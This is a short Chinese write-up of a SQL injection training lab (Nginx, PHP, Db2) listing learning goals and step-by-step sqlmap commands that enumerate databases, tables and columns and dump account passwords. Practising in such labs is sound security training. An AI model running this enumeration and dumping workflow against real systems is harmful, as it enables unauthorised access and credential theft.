背景介绍:
安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+Db2,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。
实训目标:
1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解Db2的数据结构;
4.了解字符串的MD5加解密;
解题方向:
手工进行SQL注入测试,获取管理密码登录。
解题步骤:
1. 开启环境访问网站:124.70.71.251:46096
2. 寻找注入点:
3. 使用工具sqlmap判断是否存在注入:
python sqlmap.py -u “漏洞url”
4. 判断服务器下所有数据库:
python sqlmap.py -u "l漏洞url" --dbs
5. 判断当前数据库名称:
python sqlmap.py -u "漏洞url" --current-db
6. 查看当前数据库下所有表:
python sqlmap.py -u "漏洞url" -D "数据库名" --tables
7. 判断 GAME_CHARACTER 表下名称:
python sqlmap.py -u "漏洞url" -D "数据库名" -T "表名" --column
8. 发现只有id参数,查询账号密码字段并dump下来:
python sqlmap.py -u "漏洞url" -D "数据库名" -T "表名" -C name --dump
查询到加密 密码,解密后登录成功发现key: